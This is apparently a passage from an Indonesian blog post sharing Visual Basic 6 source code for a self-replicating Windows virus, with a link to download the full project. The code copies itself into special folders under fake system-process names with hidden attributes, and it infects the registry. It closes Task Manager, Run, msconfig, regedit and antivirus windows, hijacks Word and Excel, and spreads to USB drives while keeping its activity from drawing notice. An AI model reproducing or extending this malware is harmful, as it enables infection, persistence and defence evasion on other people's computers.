FileCopy App.Path & "\" & App.EXEName & ".exe", FolderStartUp & "\WinLogon.Exe"
SetAttr FolderStartUp & "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama services.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderMyDocuments & "\services.Exe"
SetAttr FolderMyDocuments & "\services.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama smss.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderTemplates & "\smss.Exe"
SetAttr FolderTemplates & "\smss.Exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama csrss.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderPrintHood & "\csrss.Exe"
SetAttr FolderPrintHood & "\csrss.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama Isass.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderNetHood & "\Isass.Exe"
SetAttr FolderNetHood & "\Isass.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderFavorites & "\SalamKenal.Exe"
SetAttr FolderFavorites & "\SalamKenal.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama System.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSendTo & "\System.Exe"
SetAttr FolderSendTo & "\System.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama ctfmon.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderPrograms & "\ctfmon.Exe"
SetAttr FolderPrograms & "\ctfmon.exe", vbHidden + vbSystem + vbReadOnly
End Sub

Private Sub Timer1_Timer() 'Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow("OpusApp", "Document1 - Microsoft Word") 'Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow("OpusApp", "New Microsoft Word Document.doc - Microsoft Word") 'Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow("XLMAIN", "Microsoft Excel - Book1") 'ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow("XLMAIN", "Microsoft Excel - New Microsoft Excel Worksheet.xls") 'ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub

Private Sub Timer3_Timer()
On Error Resume Next
'menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow("#32770", "RUN") 'jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "System Configuration Utility") 'msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Windows Task Manager") 'task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Avira AntiVir Personal – Free Antivirus") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "AntiVir Guard: Attention, Detection!") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("RegEdit_RegEdit", vbNullString) 'regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("TMainForm", vbNullString) 'aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("TApplication", vbNullString) 'aplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub

Private Sub Timer4_Timer()
'cari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount - 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False 'agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk '
End Sub

Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
'Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
'menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
Timer4.Enabled = True
End If
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub

Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub

Silahkan Download Project Di Download/Upload Gratis Join 4Shared Now!, Tetapi sebelumnya jika anda berkenan berikan rating pada artikel ini dengan mengklik tanda bintang di bawah ini, agar saya mengetahui artikel yang paling menarik untuk penulisan selanjutnya. Terimakasih.



 
Free Host | lasik eye surgery | accountant website design